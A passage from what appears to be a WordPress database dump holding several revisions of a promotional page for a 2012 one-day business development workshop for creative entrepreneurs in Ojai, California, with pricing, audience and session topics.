consulting for early stage creative entrepreneurs and solo professionals who seek more impact, influence and income in their creative business.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Through the WHC Quantum Leap Workshops, Thomson provides creative entrepreneurs and their teams with personal and professional development, marketing and business development education, training and consulting.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is an avid writer, speaker and thought leader on branding, enterprise strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed Branding Strategy Insider blog, one of the 50 top branding blogs according to Advertising Age.</strong></span>\r\n\r\n<span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:\r\n<span style="color: #e47906;">Thomson is available to speak at colleges, art &amp; design schools, universities, industry groups and trade associations, on diverse topics in marketing, business development, visual design, and on diverse topics within the area personal and professional development. Some talks are pro-bono, some for expenses, and others for a fee and expenses.  If you have an interest in having Thomson on the bill at one of your events, just send an email with your specifics, we can go from there.</span></strong></span>', 'Get to know Thomson Dawson better.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2012-03-01 21:32:25', '2012-03-02 04:32:25', '', 143, 'http://www.whitehotcenter.com/2012/03/143-revision-51/', 0, 'revision', '', 0),
(2004, 2, '2012-03-01 17:28:14', '2012-03-02 00:28:14', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\n<span style="color: #000000;">June 15, 2012</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</h2>\r\n<h1><span style="color: #808080;">\r\nWithout sales there is no business</span><span style="color: #808080;"><strong>!</strong></span></h1>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many early-stage creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 30, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 17:28:14', '2012-03-02 00:28:14', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-126/', 0, 'revision', '', 0),
(2005, 2, '2012-03-02 11:04:55', '2012-03-02 18:04:55', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\n<span style="color: #000000;">June 15, 2012</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</h2>\r\n<h1><span style="color: #808080;">\r\nWithout sales there is no business</span><span style="color: #808080;"><strong>!</strong></span></h1>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many early-stage creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business, you will not want to miss attending this business development workshop designed and facilitated by <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson, Business Development Consultant to Creative Entrepreneurs and Solo Professionals.</a>\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including:  designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about any self-employed professional in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 30, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-02 11:04:55', '2012-03-02 18:04:55', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-127/', 0, 'revision', '', 0),
(2031, 2, '2012-03-02 12:02:07', '2012-03-02 19:02:07', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\r\n<h2><span style="color: #333333;"><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong></span><strong>\r\n<span style="color: #db9b04;">Creating Competitive</span>\r\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\r\n<span style="color: #333333;">June 15, 2012</span>\r\n<span style="color: #333333;"> Ojai, California</span>\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers</strong>\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n<h2>Without sales there is no business.</h2>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\r\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\n\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>What you’ll learn:</strong>\r\n\r\n<strong>Participants will explore fundamental strategies and proven tactics that will enable them to enhance and elevate the effectiveness of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:</strong>\r\n\r\n<strong>• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.</strong>\r\n\r\n<strong>• how to develop a value proposition and positioning your busiess to set you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.</strong>\r\n\r\n<strong>• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.</strong>\r\n\r\n<strong>• how to be a value creator rather than an order taker in the sales conversation, leading your clients in the sales process and retaining your power in the buying process.</strong>\r\n\r\n<strong>• how to write proposals that win more business.</strong>\r\n\r\n<strong>• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.</strong>\r\n\r\n<strong>• how to increase your referrals and turn your clients into a non-paid sales force.</strong>\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 30, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #808080;">Early Registration</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with full information on the venue location, accomodations, and how to confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong></strong>\r\n<h1><a href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #808080;"><strong>Register Now and Save!</strong></span></a></h1>', 'Creating competitive advantage and sales success in your creative business.', 0, '', 'inherit', 'open', 'open', '', '2006-revision-22', '', '', '2012-03-02 12:02:07', '2012-03-02 19:02:07', '', 2006, 'http://www.whitehotcenter.com/2012/03/2006-revision-22/', 0, 'revision', '', 0),
(2008, 2, '2012-03-02 11:31:32', '2012-03-02 18:31:32', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\n<h2><strong>White Hot Center Presents\nThe Quantum Leap\nBusiness Development Workshop</strong><strong>\n<span style="color: #db9b04;">Creating Competitive</span>\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\nJune 15, 2012\nOjai, California\n</strong></h2>\n<strong>Facilitated by Thomson Dawson\nBusiness Development Consultant to Creative Entrepreneuers</strong>\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\n<h2>Without sales there is no business.</h2>\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\n\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\n\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\n\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\n\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\nSourceURL:file:///Users/administrator/Documents/quantum%20leap%20workshop/QLW.%20BIz%20Dev%20doc @font-face { font-family: "Times New Roman"; }@font-face { font-family: "ArialNarrow"; }p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; }p.MsoBodyText, li.MsoBodyText, div.MsoBodyText { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; font-weight: bold; }p.MsoBodyText2, li.MsoBodyText2, div.MsoBodyText2 { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; color: rgb(102, 89, 77); }div.Section1 { page: Section1; }\n\n<strong>Who should attend?</strong>\n\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\n\nWhat you’ll learn:\n\nParticipants will explore fundamental strategies and proven tactics that will enable them to enhance and levate the quality of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:\n\n• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.\n\n• how to develop a value proposition that sets you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.\n\n• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.\n\n• how to be a value creator rather than an order taker in the sales process, leading your clients in the sales process and retaining your power in the buying process.\n\n• how to write proposals that win more business.\n\n&nbsp;\n\n• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.\n\n&nbsp;\n\n• how to increase your referrals and turn your clients into a non-paid sales force.', 'Spend one day creating your bigger, better future!', 0, '', 'inherit', 'open', 'open', '', '2006-revision', '', '', '2012-03-02 11:31:32', '2012-03-02 18:31:32', '', 2006, 'http://www.whitehotcenter.com/2012/03/2006-revision/', 0, 'revision', '', 0),
(2011, 2, '2012-03-02 11:33:09', '2012-03-02 18:33:09', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\r\n<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong>\r\n<span style="color: #db9b04;">Creating Competitive</span>\r\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\r\nJune 15, 2012\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers</strong>\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n<h2>Without sales there is no business.</h2>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\r\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\n\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>What you’ll learn:</strong>\r\n\r\nParticipants will explore fundamental strategies and proven tactics that will enable them to enhance and levate the quality of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:\r\n\r\n• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.\r\n\r\n• how to develop a value proposition that sets you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.\r\n\r\n• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.\r\n\r\n• how to be a value creator rather than an order taker in the sales process, leading your clients in the sales process and retaining your power in the buying process.\r\n\r\n• how to write proposals that win more business.\r\n\r\n• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.\r\n\r\n• how to increase your referrals and turn your clients into a non-paid sales force.', 'Spend one day creating your bigger, better future!', 0, '', 'inherit', 'open', 'open', '', '2006-revision-4', '', '', '2012-03-02 11:33:09', '2012-03-02 18:33:09', '', 2006, 'http://www.whitehotcenter.com/2012/03/2006-revision-4/', 0, 'revision', '', 0);
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(2009, 2, '2012-03-02 11:31:57', '2012-03-02 18:31:57', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\r\n<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong>\r\n<span style="color: #db9b04;">Creating Competitive</span>\r\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\r\nJune 15, 2012\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers</strong>\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n<h2>Without sales there is no business.</h2>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\r\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\nSourceURL:file:///Users/administrator/Documents/quantum%20leap%20workshop/QLW.%20BIz%20Dev%20doc @font-face { font-family: "Times New Roman"; }@font-face { font-family: "ArialNarrow"; }p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; }p.MsoBodyText, li.MsoBodyText, div.MsoBodyText { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; font-weight: bold; }p.MsoBodyText2, li.MsoBodyText2, div.MsoBodyText2 { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; color: rgb(102, 89, 77); }div.Section1 { page: Section1; }\r\n\r\n<strong>Who should attend?</strong>\r\n\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\nWhat you’ll learn:\r\n\r\nParticipants will explore fundamental strategies and proven tactics that will enable them to enhance and levate the quality of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:\r\n\r\n• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.\r\n\r\n• how to develop a value proposition that sets you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.\r\n\r\n• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.\r\n\r\n• how to be a value creator rather than an order taker in the sales process, leading your clients in the sales process and retaining your power in the buying process.\r\n\r\n• how to write proposals that win more business.\r\n\r\n• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.\r\n\r\n• how to increase your referrals and turn your clients into a non-paid sales force.', 'Spend one day creating your bigger, better future!', 0, '', 'inherit', 'open', 'open', '', '2006-revision-2', '', '', '2012-03-02 11:31:57', '2012-03-02 18:31:57', '', 2006, 'http://www.whitehotcenter.com/2012/03/2006-revision-2/', 0, 'revision', '', 0),
(2010, 2, '2012-03-02 11:32:06', '2012-03-02 18:32:06', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\r\n<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong>\r\n<span style="color: #db9b04;">Creating Competitive</span>\r\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\r\nJune 15, 2012\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers</strong>\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n<h2>Without sales there is no business.</h2>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\r\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\nSourceURL:file:///Users/administrator/Documents/quantum%20leap%20workshop/QLW.%20BIz%20Dev%20doc @font-face { font-family: "Times New Roman"; }@font-face { font-family: "ArialNarrow"; }p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; }p.MsoBodyText, li.MsoBodyText, div.MsoBodyText { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; font-weight: bold; }p.MsoBodyText2, li.MsoBodyText2, div.MsoBodyText2 { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; color: rgb(102, 89, 77); }div.Section1 { page: Section1; }\r\n\r\n<strong>Who should attend?</strong>\r\n\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\nWhat you’ll learn:\r\n\r\nParticipants will explore fundamental strategies and proven tactics that will enable them to enhance and levate the quality of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:\r\n\r\n• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.\r\n\r\n• how to develop a value proposition that sets you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.\r\n\r\n• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.\r\n\r\n• how to be a value creator rather than an order taker in the sales process, leading your clients in the sales process and retaining your power in the buying process.\r\n\r\n• how to write proposals that win more business.\r\n\r\n• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.\r\n\r\n• how to increase your referrals and turn your clients into a non-paid sales force.', 'Spend one day creating your bigger, better future!', 0, '', 'inherit', 'open', 'open', '', '2006-revision-3', '', '', '2012-03-02 11:32:06', '2012-03-02 18:32:06', '', 2006, 'http://www.whitehotcenter.com/2012/03/2006-revision-3/', 0, 'revision', '', 0),
